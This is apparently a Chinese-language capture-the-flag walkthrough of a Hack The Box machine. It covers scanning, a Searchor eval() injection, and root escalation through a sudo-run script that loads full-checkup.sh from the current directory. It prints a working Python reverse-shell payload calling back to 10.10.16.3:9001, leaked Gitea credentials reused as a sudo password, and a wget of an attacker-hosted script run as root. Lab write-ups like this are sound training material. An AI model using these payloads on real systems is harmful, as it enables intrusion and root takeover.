User Flag

常规nmap起手:

nmap -A 10.10.11.208

扫到22和80端口开放,并存在提示:Did not follow redirect to http://searcher.htb

直接访问http://10.10.11.208:80则跳转到http://searcher.htb:

直接修改hosts文件:

再次访问http://10.10.11.208:80:

看到下方的Powered by Flask and Searchor 2.4.0,Google搜索一下Searchor有什么漏洞,找到了它:GitHub - jonnyzar/POC-Searchor-2.4.2: eval() Exploit POC for Searchor 2.4.2 and lower

本地运行nc

nc -lv 9001

在搜索框输入:

', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.16.3',9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

成功弹shell后获得User Flag~

System Flag

用上次做题学到的sudo -l起手试试:

看来行不通,ls -la看看/var/www/app目录下有什么:

http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git,一个可疑的链接。

问问ChatGPT:

哦?包含了账号密码?cody:jh1usoih2bkjaspwe92原来是一对账号密码!但有啥用呢,没想明白……

我在这卡了很久,也用了常见的Linux提权辅助脚本,但并没有什么发现。😭

最终还是回到了sudo -l -S,此时需要输入密码,使用jh1usoih2bkjaspwe92来碰了碰运气:

成啦!svc账号的密码也是jh1usoih2bkjaspwe92。还记得一开始扫描到开放的22端口吗?在后面的操作中可以直接使用ssh连接,得到一个更好的shell。

让我们来看看system-checkup.py是用来干嘛的:

可以看到前两个参数和docker相关,对于解体的作用不详;使用full-checkup参数则报错。

在这又卡了好久,最后切换到/opt/scripts/目录发现在此目录下存在full-checkup.sh,且能正确运行/opt/scripts/system-checkup.py full-checkup

似乎存在一种可能:full-checkup参数需要调用当前目录下的full-checkup.sh文件。

那么!设full-checkup.sh=

#!/bin/bash
cat /root/root.txt

再回到/home/svc目录,使用wget http://10.10.16.10:8000/full-checkup.sh,再chmod +x full-checkup.sh,最后sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

拿下!